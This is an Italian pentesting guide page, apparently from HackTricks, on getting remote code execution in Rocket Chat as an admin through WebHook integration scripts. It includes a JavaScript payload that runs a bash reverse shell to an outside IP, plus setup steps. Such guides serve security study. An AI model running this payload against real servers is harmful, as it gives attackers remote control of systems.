38 lines
1.5 KiB
Markdown

# Rocket Chat
{{#include ../../banners/hacktricks-training.md}}
## RCE
Se sei un admin all'interno di Rocket Chat puoi ottenere RCE.
- Vai su **`Integrations`** e seleziona **`New Integration`** e scegli uno qualsiasi: **`Incoming WebHook`** o **`Outgoing WebHook`**.
- `/admin/integrations/incoming`
<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
- Secondo la [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), entrambi utilizzano ES2015 / ECMAScript 6 ([fondamentalmente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) per elaborare i dati. Quindi otteniamo una [rev shell per javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) come:
```javascript
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
- Configura il WebHook (il canale e il post come nome utente devono esistere):
<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
- Configura lo script WebHook:
<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
- Salva le modifiche
- Ottieni l'URL WebHook generato:
<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
- Chiamalo con curl e dovresti ricevere la rev shell
{{#include ../../banners/hacktricks-training.md}}